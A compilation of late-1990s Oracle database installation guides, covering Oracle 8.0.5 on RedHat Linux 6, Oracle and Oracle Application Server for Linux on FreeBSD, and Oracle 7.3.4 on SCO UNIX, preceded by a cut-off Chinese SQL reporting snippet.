    Union

    Select Null,Lbmc,To—Number(Null) From T—zjxhqx,T—kjl

    Where No－(z－y)〉(Select Mod(Count(Distinct Dwmc)－1,y)＋1 From T—zjxhqx);

    3. 启动Oracle＊Reports，建立矩阵报表查询时直接引用视图V—TJBB即可。这样运行时输出的报表每页都是x行y列，即实现了定长和定宽输出。


How To Install Oracle 8.0.5 onto RedHat Linux 6

How To Install Oracle 8.0.5
Onto RedHat Linux 6.0

By: Reuben King <reuben@sagemediagroup.com>

Updated January 3, 2000

Introduction:

If you have attempted to install Oracle 8 onto your new RH Linux 6.0 installation, and you are not already an Oracle DBA and quite knowledgeable about all things Linux, you are probably quite frustrated with the installation documentation that is available from Oracle for Linux - the glaring errors, critical omissions, etc.

After fighting with this for well over a day and pouring through discussion threads and any online references I could get my hands on, I finally got the install to work. I thought it might be a good idea for myself to record step-by-step what I did so in the future I will have something to reference, as well as put something up for those of you out there in a similar situation. I hope this helps. Please let me know if there are any mistakes or omissions! I am only a developer - not an Oracle DBA or master (by any means) and only have a basic level of understanding on the ins and outs of Linux. Therefore this advice may be completely worthless to you. However, I do hope you find something of value out of it.

The environment this document was written for is RedHat Linux 6.0 (Hedgwig), Linux kernel v2.2.5-15, running on a Dell Pentium Pro 180 with 128 megs RAM and 2 IDE hard drives. I do not know how these instructions will apply to other versions of Linux, so please let me know if you have success or failure.

Thanks,
-Reuben King
reuben@sagemediagroup.com

Part I: Installation Preliminaries

System Requirements:

Memory:
As per the specification in the install guide from Oracle, at least 32 megs of RAM, and swap space equal to three times your physical memory, is recommended.

Disk Space:
Oracle recommends four devices: One for the Oracle software distribution and three for creating an OFA compliant database.

So, how many devices and how big should each device/partition be? This, of course, is one of those difficult decisions which requires answering the elusive question "how much space will I need?". For small development-base installs, you could certainly pack it all into one partition. However, for higher demand and mission-critical situations, this is definitely one of those issues you need to do your homework on and make sure you form a good understanding of your needs. I am setting up a small Oracle development box, so these instructions will reflect the decisions I made in this spirit.

The Oracle Enterprise install takes approximately 400-500 megs. I partitioned my software partition to be 600 megs just to be on safe side. If you have more room to spare, you might want to use it. I also created one 1.5 gig partition to hold my databases, however you could start with significantly less - even around 200 megs I believe will be sufficient just to load the starter database objects. Since I am only setting up a development instance, I am not concerned with splitting the database across multiple devices. In fact, I could have also simply made one large partition and put both the program executables and the database files all in one spot, however for personal druthers I decided not to do this.

I went ahead and recorded the exact steps I went through to partition, format, and mount my drives for Oracle. If you would like to see what I did, go here.

Get The Software:

A single developer license of Oracle 8.0.5.1 is available free of charge from Oracle at http://technet.oracle.com/tech/linux/main.htm (At least this is true as of the date of this writing, August 8 '99). There is various documentation available both in PDF and HTML form also at http://technet.oracle.com/doc/linux.htm. If you experience problems downloading the software, read my notes on the subject.

If you are running RedHat Linux 6.0, or any Linux version which uses the Glibc 2.1 libraries (don't worry if you don't know what that means), you will need an update called "glibcpatch.tgz". Without this, installation may fail and you will be left scratching your head wondering what the heck a "Segmentation fault" is. Oracle 8.0.5 was written to the Glibc 2.0 libraries and it breaks in the new Linux environment which has the newer (and improved) 2.1 libraries. The patch is available via FTP at ftp://ftp.oracle.com/pub/www/otn/linux/glibcpatch.tgz.

In addition to glibcpatch for Redhat, you may need to get these compat RPM's and install them as well (if they aren't installed, the glibcpatch may not run properly):

  • compat-binutils-5.2-2.9.1.0.23.1.i386.rpm
  • compat-egcs-5.2-1.0.3a.1.i386.rpm
  • compat-egcs-c++-5.2-1.0.3a.1.i386.rpm
  • compat-glibc-5.2-2.0.7.1.i386.rpm
  • compat-libs-5.2-1.i386.rpm

You can get these from ftp://ftp.redhat.com/pub/redhat/redhat-6.0/i386/RedHat/RPMS or from one of the mirror sites listed at http://www.redhat.com/mirrors.html.

Unpack The Software

(This is for those of you who are downloading the installer as an archive from Oracle. If you are installing from CD, you may skip this section.)

For this guide, I am going to put the installation software in /oracle_install. The glibcpatch will be placed in /oracle_install/glibcpatch. To start, I am going to have the files Oracle8051EE_Intel.tgz and glibcpatch.tgz inside /oracle_install.

Note: For the first steps of this, it will be necessary to log in as root. This installer is pretty big, too -- You will need about 650 megs of free space in /oracle_install.

Here are the steps to go through to unpack each of the files into the respective locations:
  1. Log in as root
  2. Type "cd /oracle_install"
  3. Unpack the Oracle 8.0.5.1 Enterprise Edition installer using "tar xzvf Oracle8051EE_Intel.tgz". (this is a big file and will take awhile to unpack, so be patient).
  4. Type "mkdir glibcpatch"
  5. Type "cd glibcpatch"
  6. Unpack the Glibcpatch installer using "tar xzvf ../glibcpatch.tgz".
  7. Type "cd ../"

Get Ready To Install

Don't run the installer just yet -- There are some initial things which will need to be done first.

In section 2 of the Oracle Install Guide, "Setting the Environment", there are a number of steps which will need be performed by the root user and then by the oracle user. This begins on page 2-1, but I will summarize below.

Important: Everything I am doing here will be using the bash shell. If you have personal preferences other than this, you will need to make the necessary adjustments to the instructions I am giving.

As the root user:
  • Log in to the root account and perform the following:
  • Create a "dba" user group and optionally a "operator" group. (you don't need an operator group, but you can have one if you want to distinguish between Oracle DBA and Oracle operator accounts):
    1. Use the userconf utility to maintain users and groups.
    2. Select "Group Definitions" and press return.
    3. In the User Groups dialog, press "Add".
    4. For the group name type "dba" (according to the manual, you may select something different but I experienced problems when I did that.)
    5. For create permissions, use the default value of 700.
    6. Select the "Accept" button and then the "Quit" button to return to the main userconf screen.
  • Create a user account to own the Oracle software. For this guide, I will use an account called "oracle", but you may name it whatever you want. (just make sure that the environment variable ORACLE_OWNER is set correctly, as will be shown in a moment):
    1. In userconf, select "User Accounts" and press return.
    2. In the User Accounts dialog, press "Add".
    3. For Login name, type "oracle" (or something different if you prefer).
    4. For group, type "dba" (or whatever you just put in for the dba user group).
    5. For command interpreter, use /bin/bash.
    6. Select the "Accept" button.
    7. You will be prompted for a password for this account. Enter whatever you like.
    8. Press "Quit" and then "Quit" again to exit out of userconf.
  • Create a Local bin directory if you don't have one already; Using the Linux default /usr/local/bin is fine.
  • Run the oratab.sh script using the following commands:
    1. Type "cd /oracle_install/orainst"
    2. Type "export ORACLE_OWNER=oracle" (* Or whatever you just set the Oracle account to be)
    3. Type "./oratab.sh"
    4. Accept the default prompts and the /etc/oratab file will be created.
  • Assign ownership of the Oracle directories to the oracle owner account using the following commands:
    1. Type "chown oracle.dba /oracle"
    2. Type "chown oracle.dba /oracle_db"
  • If you downloaded the compat RPM's listed above, you should install them as follows:
    1. Navigate into the directory where you downloaded the compat RPM's.
    2. Type "rpm -i compat-binutils-5.2-2.9.1.0.23.1.i386.rpm"
    3. Type "rpm -i compat-egcs-5.2-1.0.3a.1.i386.rpm"
    4. Type "rpm -i compat-egcs-c++-5.2-1.0.3a.1.i386.rpm"
    5. Type "rpm -i compat-glibc-5.2-2.0.7.1.i386.rpm"
    6. Type "rpm -i compat-libs-5.2-1.i386.rpm"
(Note: On page 2-4 of the Install Guide there is a section called "Configure the Linux Kernel for Oracle". I skipped this for two reasons -- 1) This is beyond my level of knowledge and I have no idea what it is talking about and 2) My install worked without worrying about this anyway. If this is something you may be concerned with, then by all means check it out)

As the oracle user:

  • Log in to the oracle account and perform the following:
  • Set permissions for file creation. Type "umask 022" to accomplish this.
  • Set Environment Variables. There are several environment variables which need to be set for the oracle account. Modify .bash_profile file in the home directory ("~/") as follows:
    1. Using the text editor of your choice, append the following to the end
        of the .bash_profile script:
ORACLE_BASE=/oracle
ORACLE_HOME=$ORACLE_BASE/oracle8051
LD_LIBRARY_PATH=$ORACLE_HOME/lib
ORACLE_SID=orcl
ORACLE_TERM=vt100
PATH=$PATH:$ORACLE_HOME/bin
TMPDIR=/tmp
export ORACLE_BASE ORACLE_HOME LD_LIBRARY_PATH ORACLE_SID ORACLE_TERM
        PATH TMPDIR
    2. Adjust the above variables appropriately. Refer to pages 2-9 thru 2-11 of the Oracle Install Guide for descriptions of each of these variables (and others).
    3. After changes are complete, you may log out and log back in or simply execute the .bash_profile script to update the environment with the new settings.

Note: In this document, when I refer to paths such as $ORACLE_HOME/bin, this refers to the setting you just placed in that file above. The oracle account's login script sets the variables which will tell both Oracle and the Oracle Installer where you want Oracle to live, what user is the Oracle owner, etc. Remember this!

Part II: Software Installation

Start The Installer:

Note: You must run the installer while logged in as the oracle account. Do Not run the installer as root!

Hopefully the installer you have matches the one I have and you can follow the screens step-by-step as I have outlined below. If something has changed, it shouldn't be a big deal and you should be able to approximate. One important lesson with the Oracle installer is to resist the temptation to let it "Create DB Objects" at the first pass. By choosing this, the installer will probably fail and leave you wondering why. One of the reasons behind this is because it will attempt to execute several programs to create the database objects. However, because of the glibc 2.0 vs. 2.1 problem I mentioned earlier, these programs will core dump and thus the installer will fail. Instead, run the installer once to install the software, then run the glibcpatch to update the software, then run the installer again to create the database objects.

Step-by-step instructions follow:
  • Log in as the oracle account.
  • At the command line type "cd /oracle_install/orainst"
  • Next, type "./orainst" to launch installer
  • Once inside installer, do the following:
    1. At "Install Type" screen, choose "Default Install"
    2. Read the preamble.txt screen and click "OK"
    3. Read the "README.FIRST" screen and click "OK"
    4. At "Installation Activity Choice", select "Install, Upgrade, or De-Install Software" and click "OK"
    5. At "Installation Options", select "Install New Product - Do Not Create DB Objects" and click "OK"
    6. At "Environment Variables", the values for ORACLE_BASE and ORACLE_HOME should be set to the settings you placed in your .bash_profile script. Click OK if they are or change.
    7. It will present you with the settings you chose, verify and click "OK"
    8. You will now be in the "Software Asset Manager" screen.
      • On the left will be a selection box of all the features available to install and on the right will be a box with all the features installed.
      • In the box on the left, select "Oracle8 Enterprise (RDBMS)" by scrolling to it and pressing the space bar to toggle.
      • Note: You may select other software components to install, but this guide is only written for installing only the basic Oracle 8 server.
      • Click the "Install" button in the middle to install.
      • It will now install Oracle and any necessary support files. If it mentions anything about ULIMIT not being set, just click OK and ignore it.
      • Now is a good time for a stretch/coffee/cigarette break. It will take about 5-10 minutes to fully install.
      • Eventually it will report that it is complete. (Hopefully!) Click "OK" to return to the Software Asset Manager screen.
    9. Click "Exit" to leave the installer.
  • For those systems with glibc version 2.1 or above (of which RedHat Linux 6 is a member), we must now run the glibcpatch to relink the files just installed from the new version of glibc to the older 2.0 version:
    • At the command line, type "cd /oracle_install/glibcpatch"
    • Next, type "./glibcpatch.sh"
    • This too will take several minutes, so sit back and relax. You will probably see a bunch of "file not found" errors flash by -- ignore these, for they mean nothing.
  • Now, go back to the installer by typing cd /oracle_install/orainst and then ./orainst
  • Back in the installer, do the following:
    1. At "Install Type" screen, choose "Default Install"
    2. Click "OK" to get through the preamble.txt and README.FIRST screens.
    3. At "Installation Activity Choice", select "Create/Upgrade Database Objects" and click "OK".
    4. At "Database Options" select "Create Database Objects" and click "OK".
    5. At "Environment Variables" nothing should have changed, so just click "OK".
    6. Again, it will ask you to verify your decisions. Do so and click "OK".
    7. You should now be back in the "Software Asset Manager" screen.
      • In the box on the left, again select "Oracle8 Enterprise (RDBMS)"
      • Click "Install"
      • It will then begin installing once again.
      • At the "Database Action" screen, select "Create Product DB Objects" and then click "OK".
      • You will then be prompted for your database mount points. Enter the three mount points you created earlier for your database and click "OK". I will use "/oracle_db/db1", "/oracle_db/db2" and "/oracle_db/db3" as my mount points. (huh huh huhhuhuh huh i said mount...)
      • This operation too will take a few minutes, so don't panic.
      • At successful completion, click "OK", and you will return to the Software Asset Manager screen.
    8. Click "Exit" to leave the installer.
  • That's it! Since SQL scripts are executed against the server you installed to create the database objects, successful completion of the above indicates a properly installed system.
  • Note: You may go back into the Oracle installer to install anything else, but be sure to choose "Add/Upgrade Software" in the "Installation Choice" screen. Also, you will probably need to rerun the glibcpatch as instructed above if you are installing new components.

Congratulations!

Everything should have worked along the same track as what I just laid out. If it didn't and your Oracle installation did not work, and you followed my instructions to the letter, then here are a few quick suggestions:
  • Try deleting everything and starting over from scratch. Use rm -rf /oracle/* and rm -rf /oracle_db/* to delete all the installed files (if you used /oracle and /oracle_db as the two mount points for your installation, that is). You will also need to delete your /etc/oratab file.
  • Perhaps the installer you downloaded is corrupt? I have, myself, constantly experienced problems with Oracle's ftp site and it often required multiple attempts to completely download the file. If you are experiencing the download being aborted partway through repeatedly, I would suggest checking out Cute FTP 3.0. One of its neat features is that it will automatically reconnect and resume downloading of a file from a server if the server drops the connection partway through. This was a life-saver for me downloading the ~160meg 8.0.5.1 EE installer -- the Oracle server must have dropped me at least 30 times throughout the process, and I'm on a LAN! :(
  • Call Oracle and complain about the horrid quality of their installer software and piss-poor documentation they have to support it. As a Linux user, you should be insulted that they would treat you like such a 3rd class computing citizen!

Part III: Post-Installation Issues

Tasks to perform as the root user:

Run the root.sh script:
  1. Login as the root user.
  2. Type "cd /oracle/oracle8051/orainst" (or whatever you set your ORACLE_HOME setting to prior to installation).
  3. Type "chmod +x root.sh"
  4. Type "export ORACLE_OWNER=oracle ORACLE_HOME=/oracle/oracle8051 ORACLE_SID=orcl" (Again, if you used values for these variables other than what I used, you must set them accordingly!)
  5. Type "./root.sh"
  6. You will be prompted to verify the setting of the above environment variables. Do so and press "Y" if correct.
  7. You will now be asked for the full path to the local bin directory. Type "/usr/local/bin" and press return.
  8. You may be prompted that "ORACLE_HOME does not match the home directory for oracle. Okay to continue?". Press "Y" and continue.
  9. Script execution is now complete.

(Note: Depending on the products you installed, you may be given additional prompts in root.sh than indicated above. Answer these appropriately and everything should be fine.)

Create additional Linux accounts.

Each DBA on the system must have an account in the dba group. Do not assign multiple users to the same account.

Create these accounts as described above using userconf.

Security Issues.

If this is a shared server and you would be interested in tightening up your security, refer to pages 4-3 and 4-4 of the Oracle Install Guide.

Update the oratab File.

If you used the server manager to create your database manually and did not use the installer as described above, refer to page 4-5 of the Oracle Install Guide for instructions on how to manually edit your oratab file.

Automating Database Startup and Shutdown.

Automating database startup is optional, but automatic shutdown is recommended, because it guards against improper shutdown of the database.

The installer created two scripts, dbstart and dbshut. These are located in the $ORACLE_HOME/bin directory (/oracle/oracle8051/bin in this example). These scripts parse the oratab file and, based on whether the instance was flagged to automatically start or not, will startup or shutdown, respectively, the database instance.

To implement automatically starting up and/or shutting down the database, perform the following:
  1. Edit your /etc/oratab file. In it you should see a line similar to this: "orcl:/oracle/oracle8051:N". Change the "N" to a "Y" to configure this database instance (orcl, in this case) to be included in automated database startup or shutdown.
  2. Exit back to your shell.
  3. Inside /etc/rc.d/init.d create the following file named "dbora". Choose one of the two options below depending on whether or not you wish to enable the network connectivity Net8 listener to be started automatically as well. If you wish to use this only as a local database and to keep all possible outside people out, option #2 would be the proper route to go:
    • Option 1: Starting and stopping both the database and the network listener together:
      # Set ORA_HOME to be equivalent to the ORACLE_HOME
# from which you wish to execute dbstart and
# dbshut
# set ORA_OWNER to the user id of the owner of the
# Oracle database in ORA_HOME

ORA_HOME=/oracle/oracle8051
ORA_OWNER=oracle

case "$1" in
        'start')
                # Start the Oracle databases:
                su - $ORA_OWNER -c $ORA_HOME/bin/dbstart

                # Start the Oracle listener:
                su - $ORA_OWNER -c "lsnrctl start listener"

                touch /var/lock/subsys/dbora
                ;;

        'stop')
                # Stop the Oracle databases:
                su - $ORA_OWNER -c $ORA_HOME/bin/dbshut

                # Stop the Oracle listener:
                su - $ORA_OWNER -c "lsnrctl stop listener"

                rm -f /var/lock/subsys/dbora
                ;;
esac

    • Option 2: Starting and stopping only the database:
      # Set ORA_HOME to be equivalent to the ORACLE_HOME
# from which you wish to execute dbstart and
# dbshut
# set ORA_OWNER to the user id of the owner of the
# Oracle database in ORA_HOME

ORA_HOME=/oracle/oracle8051
ORA_OWNER=oracle

case "$1" in
        'start')
                # Start the Oracle databases:
                su - $ORA_OWNER -c $ORA_HOME/bin/dbstart

                touch /var/lock/subsys/dbora
                ;;

        'stop')
                # Stop the Oracle databases:
                su - $ORA_OWNER -c $ORA_HOME/bin/dbshut

                rm -f /var/lock/subsys/dbora
                ;;

esac

  4. Create the appropriate links to launch the above script in the various runlevels:
    • Type: "ln -s /etc/rc.d/init.d/dbora /etc/rc.d/rc0.d/K10dbora" to stop automatically in the halt runlevel (when the system is shutting down).
    • Type: "ln -s /etc/rc.d/init.d/dbora /etc/rc.d/rc3.d/S99dbora" to start automatically in full multiuser mode.
    • Type: "ln -s /etc/rc.d/init.d/dbora /etc/rc.d/rc5.d/S99dbora" to start automatically in X11 mode (X-Windows).
    • Type: "ln -s /etc/rc.d/init.d/dbora /etc/rc.d/rc6.d/K10dbora" to stop automatically in the reboot runlevel.
Special considerations for the Net8 network listener:

The Oracle network is a quite complex and expansive system and to cover all the ins and outs is well beyond the scope of this document. However, to start up the minimal network to allow people to access this server perform the following:

  1. In addition to option #1 above, you must configure several other files for the listener to function.
  2. Reserve a TCP/IP port on your system for the Oracle listener by editing the file "/etc/services" and adding the line: "listener  1521/tcp    #Oracle Net8 listener".
  3. The file "$ORACLE_HOME/network/admin/listener.ora" (/oracle/oracle8051/network/admin/listener.ora) will most likely need to be edited by hand:
    • On line 8, replace "<oracle_sid>" with "orcl" (the $ORACLE_SID you defined earlier).
    • On line 17, replace "<oracle_sid>" with "orcl" as well.
    • Save your changes and exit to the shell.
  4. To manually start the listener, type "su - oracle -c "lsnrctl start listener"".

Tasks to perform as the oracle user:

Update the .bash_profile login script:

Do the following for a single-instance installation. For multiple instance installations, refer to the Oracle Install Guide page 4-8:

  1. Add to the end of .bash_profile, "ORAENV_ASK=NO"
  2. and ". /usr/local/bin/oraenv"
  3. The Oracle section of your .bash_profile should now look like
    this:
ORACLE_BASE=/oracle
ORACLE_HOME=$ORACLE_BASE/oracle8051
LD_LIBRARY_PATH=$ORACLE_HOME/lib
ORACLE_SID=orcl
ORACLE_TERM=vt100
PATH=$PATH:$ORACLE_HOME/bin
TMPDIR=/tmp
export ORACLE_BASE ORACLE_HOME LD_LIBRARY_PATH ORACLE_SID ORACLE_TERM PATH
    TMPDIR
ORAENV_ASK=NO
. /usr/local/bin/oraenv

Part IV: You're Done! (Sort of)

Pat yourself on the back, for you have installed Oracle. Where you go from here entirely depends on where you want to go. For implementing the various product components available with Oracle 8 Enterprise, refer to the Oracle Install Guide and the Oracle 8 Administrator's Guide. And of course the myriad of other books out there detailing all things Oracle.

I hope that this documentation helped you and that right now you're saying "wow, this guy really helped!" instead of "geeze, I'm in even worse shape now than when I started! what an idiot!" If there are any ommissions, errors, or otherwise, please email me them so I can make the proper corrections.

[ Return to Amoeba ]

Copyright (C) 1999 Reuben King, All Rights Reserved
 No warranties, express or implied, are made as to the fitness, reliability, or smell of the information provided herein. Use at your own risk! The author assumes no responsibility for anything whatsoever that may come from you visiting this web page.


HOWTO: OAS for Linux on FreeBSD

Running Oracle Application Server for Linux on FreeBSD

-1. Translations

Translations can be found for the following languages:
Korean (by Seung-young Kim)

0. Preface

This HOWTO applies to OAS 3.0 for Linux. There're currently 2 known problems in running OAS.

1. Installing a Linux environment

I assume you already have Oracle8 installed, so that you have the appropriate packages. The problem with OAS is that it depends on the behavior of the Linux ps(1). Since /proc is not emulated under FreeBSD, I ported procps to FreeBSD. The port can be found here. Note that the port is anything but complete, but suffices for the moment. Also note that it is not formatted to be included in the FreeBSD ports collection. Maybe that's going to happen in the future...

2. Updating the Oracle environment

In this paragraph I assume you'll run OAS from the Oracle account. In production environments, you probably don't want to do that, because everyone who has access to the server, automaticly has DBA privileges!

Make sure you have set the following environment variables:

ORAWEB_HOME=$ORACLE_HOME/ows/3.0; export ORAWEB_HOME
ORAWEB_SITE=scones; export ORAWEB_SITE
ORAWEB_ADMIN=/oracle/admin; export ORAWEB_ADMIN
LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/oracle/ows/3.0/lib:/oracle/ows/3.0/omx/lib
export LD_LIBRARY_PATH

PATH=$PATH:$ORAWEB_HOME/bin; export PATH
MANPATH=${MANPATH}:/oracle/ows/3.0/omx/man; export MANPATH

3. Patches

There are four patches to be applied. Three of them must be applied before installation. The last one, when applied, must be applied after installation.

3.1 Pre-install patches

When you want to install from CD, you can't apply the patches directly. You'll have to copy the CD contents to disk first. In the root of the OAS tree, apply the following patches:
*** ows/3.0/install/lstnr.ins~  Tue Sep 29 22:22:53 1998
--- ows/3.0/install/lstnr.ins   Sun Dec 27 23:35:01 1998
***************
*** 1069,1074 ****
--- 1069,1075 ----
        } /*End SYS*/

        ows_sol_rel=4;
+       solaris_rel=5;

        if (solaris_rel > ows_sol_rel)
                Start_Server=false;

--
*** ows/3.0/install/wrb.ins~    Tue Jun 30 02:12:36 1998
--- ows/3.0/install/wrb.ins     Sun Dec 27 23:39:07 1998
***************
*** 1204,1209 ****
--- 1204,1210 ----
        } /*End SYS*/

        ows_sol_rel=4;
+       solaris_rel=5;

        if (solaris_rel > ows_sol_rel)
                Start_Server=false;

--
*** ows/3.0/install/ows.ins~    Tue Jun 30 02:12:32 1998
--- ows/3.0/install/ows.ins     Sun Dec 27 23:43:02 1998
***************
*** 431,436 ****
--- 431,437 ----
        } /*End SYS*/

        ows_sol_rel=4;
+       solaris_rel=5;

        if (solaris_rel > ows_sol_rel)
                Start_Server=false;

After applying the patches, you can install the product.

3.2 Post-install patches

After installation, you can apply the following patch:
*** owsctl.orig Wed Dec 30 14:55:28 1998
--- owsctl      Wed Dec 30 14:56:17 1998
***************
*** 224,233 ****

        OPTION="$1"     # save the option
        shift
!       if [ "$1" = "WRB" -o "$1" = "wrb" -o "$1" = "-p" -o "$1" = "-e" -o "$1"
= "NCX" -o "$1" = "ncx" ]
        then
                $CONTROLPATH/wrbctl $OPTION $@
!       elif [ "$1" = "CARTRIDGE" -o "$1" = "cartridge" -o "$1" = "-p" ]
           then
                $CONTROLPATH/wrbctl $OPTION $@
           else
--- 224,233 ----

        OPTION="$1"     # save the option
        shift
!       if [ "x$1" = "xWRB" -o "x$1" = "xwrb" -o "x$1" = "x-p" -o "x$1" = "x-e"
-o "x$1" = "xNCX" -o "x$1" = "xncx" ]
        then
                $CONTROLPATH/wrbctl $OPTION $@
!       elif [ "x$1" = "xCARTRIDGE" -o "x$1" = "xcartridge" -o "x$1" = "x-p" ]
           then
                $CONTROLPATH/wrbctl $OPTION $@
           else

The patch is optional in that owsctl does work without it, but generates some annoying errors.

4. Known problems

  • When an instance of a listener (oraweb) terminates, it sometimes coredumps. The cause has not been investigated yet.
  • Oraweb leaves a lot of zombies. This may be related to the previous bullet.


HOWTO: Oracle for Linux on FreeBSD

How to run Oracle for Linux on FreeBSD

-1. Translations

Translations can be found for the following languages:
Korean (by Seung-young Kim)

0. Preface

This little HOWTO applies to the following versions of Oracle:
  • Oracle 8.0.5.0.0
  • Oracle 8.0.5.1.0 Enterprise Edition
If you have a version that's not on this list, then it doesn't necessarily mean that the HOWTO doesn't apply to that particular version. It's just that I don't know about it.

1. Installing a Linux environment

Make sure you have both linux_base and linux_devtools from the ports collection installed. These ports are added to the collection after the release of FreeBSD 3.2. If you are using FreeBSD 3.2 or an older version for that matter, update your ports collection. You may want to consider updating your FreeBSD version too.

If you want to run the intelligent agent, you'll also need to install the Red Hat tcl package:

tcl-8.0.3-20.i386.rpm
The general command for installing packages with the official RPM port is:
rpm -i --ignoreos --root /compat/linux --dbpath /var/lib/rpm <package>
Installation of the package should not generate any errors.

2. Creating the Oracle environment

Before you can install Oracle, you need to set up a proper environment. This document only describes what to do *specially* to run Oracle for Linux on FreeBSD, not what has been described in the Oracle installation guide.

2.1 Kernel tuning

As described in the Oracle installation guide, you need to set the maximum size of shared memory. Don't use SHMMAX under FreeBSD. SHMMAX is merely calculated out of SHMMAXPGS and PGSIZE. Therefore define SHMMAXPGS. All other options can be used as described in the guide. For example:
options SHMMAXPGS=10000
options SHMMNI=100
options SHMSEG=10
options SEMMNS=200
options SEMMNI=70
options SEMMSL=61
Set these options to suit your intended use of Oracle.

Also, make sure you have the following options in your kernel config-file:

options SYSVSHM #SysV shared memory
options SYSVSEM #SysV semaphores
options SYSVMSG #SysV interprocess communication

2.2 Oracle account

Create an Oracle account just as you would create any other account. The Oracle account is special only that you need to give it a Linux shell. Add /compat/linux/bin/bash to /etc/shells and set the shell for the Oracle account to /compat/linux/bin/bash.

2.3 Environment

Besides the normal Oracle variables, such as ORACLE_HOME and ORACLE_SID you must set the following environment variables:
LD_LIBRARY_PATH=$ORACLE_HOME/lib
CLASSPATH=$ORACLE_HOME/jdbc/lib/classes111.zip
PATH=/compat/linux/bin:/compat/linux/sbin: \
     /compat/linux/usr/bin:/compat/linux/usr/sbin: \
     /bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin: \
$ORACLE_HOME/bin
It is advised to set all the environment variables in .profile. A complete example is:
ORACLE_BASE=/oracle; export ORACLE_BASE
ORACLE_HOME=/oracle; export ORACLE_HOME
LD_LIBRARY_PATH=$ORACLE_HOME/lib
export LD_LIBRARY_PATH
ORACLE_SID=ORCL; export ORACLE_SID
ORACLE_TERM=386x; export ORACLE_TERM
CLASSPATH=$ORACLE_HOME/jdbc/lib/classes111.zip
export CLASSPATH

PATH=/compat/linux/bin:/compat/linux/sbin: \
     /compat/linux/usr/bin:/compat/linux/usr/sbin:/bin: \
     /sbin:/usr/bin:/usr/sbin:/usr/local/bin: \
$ORACLE_HOME/bin;
export PATH

3. Installing Oracle

Due to a slight inconsistency in the Linux emulator, you need to create a directory named .oracle in /var/tmp before you start the installer. Either make it world writable or let it be owner by the oracle user. You should be able to install Oracle without any problems. If you have problems, check your Oracle distribution and/or configuration first! After you have installed Oracle, apply the patches described in the next two subsections.

A frequent problem is that the TCP protocol adapter is not installed right. As a consequence, you cannot start any TCP listeners. The following actions help solve this problem:

cd $ORACLE_HOME/network/lib
make -f ins_network.mk ntcontab.o
cd $ORACLE_HOME/lib
ar r libnetwork.a ntcontab.o
cd $ORACLE_HOME/network/lib
make -f ins_network.mk install
Don't forget to run root.sh again!

3.1. Patching root.sh

When installing Oracle, some actions, which need to be performed as root, are recorded in a shell script called root.sh. root.sh is written in the orainst directory. Apply the following patch to root.sh, to have it use to proper location of chown or alternatively run the script under a Linux native shell.
*** orainst/root.sh.orig Tue Oct 6 21:57:33 1998
--- orainst/root.sh Mon Dec 28 15:58:53 1998
***************
*** 31,37 ****
  # This is the default value for CHOWN
  # It will redefined later in this script for those ports
  # which have it conditionally defined in ss_install.h
! CHOWN=/bin/chown

  #
  # Define variables to be used in this script
--- 31,37 ----
  # This is the default value for CHOWN
  # It will redefined later in this script for those ports
  # which have it conditionally defined in ss_install.h
! CHOWN=/usr/sbin/chown

  #
  # Define variables to be used in this script

When you don't install Oracle from CD, you can path the source for root.sh. It is called rthd.sh and is located in the orainst directory in the source tree.

3.2 Patching genclntsh

The script genclntsh is used to create a single shared client library. It is used when building the demos. Apply the following patch to comment out the definition of PATH:
*** bin/genclntsh.orig Wed Sep 30 07:37:19 1998
--- bin/genclntsh Tue Dec 22 15:36:49 1998
***************
*** 32,38 ****
  #
  # Explicit path to ensure that we're using the correct commands
  #PATH=/usr/bin:/usr/ccs/bin export PATH
! PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin export PATH

  #
  # each product MUST provide a $PRODUCT/admin/shrept.lst
--- 32,38 ----
  #
  # Explicit path to ensure that we're using the correct commands
  #PATH=/usr/bin:/usr/ccs/bin export PATH
! #PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin export PATH

  #
  # each product MUST provide a $PRODUCT/admin/shrept.lst

4. Running Oracle

When you have followed the instructions, you should be able to run Oracle as if it was run on Linux itself. Wether that is good or bad, depends on how you value Linux :-) Until we have a native FreeBSD version of Oracle supported by Oracle, I think Oracle for Linux is a good alternative.


Oracle 7.3.4 Enterprise Edition for SCO UNIX 安装步骤

一. 调SCO系统参数

进入 scoadmin/Hardware/Kernel Manager,选择Tune Parameter， 作如下修改

15 SHMMAX 20

16 SEMMNI 20971520

之后relink,执行init 0

二. 安装SCO 关于Oracle 补丁文件

进入Software Manager,如列表内没有COFF Linker Supplement (Ver oss459A)， 须先安装“SCO的Oracle 补丁”，否则安装的过程将出现难以想象的问题。

SCO的Oracle 补丁盘插入软驱后执行：

#doscp a:/*.* /tmp

#cd tmp

#mv oss459a.z oss459a.Z

#uncompress oss459a.Z

#cp oss459a /tmp/VOL.000.000

回到Software Manager,

选择菜单 Sofware - Install new ...

选择：<*> From localhost

Media Device选择 media images,

Image Directory选择在/tmp中，

将显示 COFF Linker Supplement (Ver oss459A)

按[install]钮执行安装，

安装完成后，Software Manager列表内将出现

COFF Linker Supplement (Ver oss459A)。

注：1) mv oss459a.z oss459a.Z Z 大小写改动方法

三 创建dba组和 oracle用户 - oracle7

指明Oracle用户的根目录（例如：/u/oracle7)

指明用户属于dba组

四 编辑oracle7 [Oracle用户]的.profile文件

login:oracle7

password:****

$pwd

/u/oracle7

$vi .profile

增加如下内容：

ORACLE_BASE=/u/oracle7

ORACLE_HOME=/u/oracle7/product/734

ORACLE_SID=oracle7

ORACLE_TERM=ansi

LD_LIBRARY_PATH=$ORACLE_HOME/lib:/usr/lib

ORACLE_NLS32=$ORACLE_HOME/ocommon/nls/admin/data

ORACLE_PATH=$ORACLE_HOME/bin:/bin:/usr/bin:/opt/bin:/usr/lbin:.

ULIMIT=2297152

TERM=ansi

TMPDIR=/u/tmp

PATH=$PATH:$HOME/bin:$ORACLE_HOME/bin:/opt/bin:/usr/lbin:.

export ORACLE_BASE ORACLE_HOME ORACLE_SID

export ORACLE_TERM LD_LIBRARY_PATH

export ORACLE_NLS32 ORACLE_PATH ULIMIT TERM TMPDIR PATH

五. 安装准备

# su - oracle7

$ mkdir u0

$ mkdir u1

$ mkdir u2

$ su root

# mkdir cdrom

# chmod 777 /cdrom

# mkdir u

# cd u

# mkdir tmp

# chmod 777 /u/tmp

六.在/etc/services 文件中加入一行：listener 1521/tcp

# cd /etc

# vi services

在文件中加入一行：listener 1521/tcp

七 开始安装

插入Oracle 7.3.4 Enterprise Edition光盘，开始安装

